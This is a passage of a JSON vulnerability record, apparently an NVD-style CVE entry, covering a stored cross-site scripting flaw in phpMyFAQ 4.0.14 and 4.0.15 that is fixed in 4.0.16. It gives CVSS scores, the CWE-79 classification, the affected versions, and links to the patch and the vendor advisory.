Versions 4.0.14 and 4.0.15 have a stored cross-site scripting (XSS) vulnerability that allows an attacker to execute arbitrary JavaScript in an administrator’s browser by registering a user whose display name contains HTML entities. When an administrator views the admin user list, the payload is decoded server-side and rendered without escaping, resulting in script execution in the admin context. Version 4.0.16 contains a patch for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.14", "versionEndExcluding": "4.0.16", "matchCriteriaId": "8D67FD17-E636-48E3-B76A-F3CB02C62C8A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:4.1.0:rc:*:*:*:*:*:*", "matchCriteriaId": "C2C7FC83-7A47-4046-8DE0-F0B81BFF2DDD"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/commit/61829e83411f7b28bc6fd1052bfde54c32c6c370", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/thorsten/phpMyFAQ/commit/8211d1d25951b4c272443cfc3ef9c09b1363fd87", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-jv8r-hv7q-p6vc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}
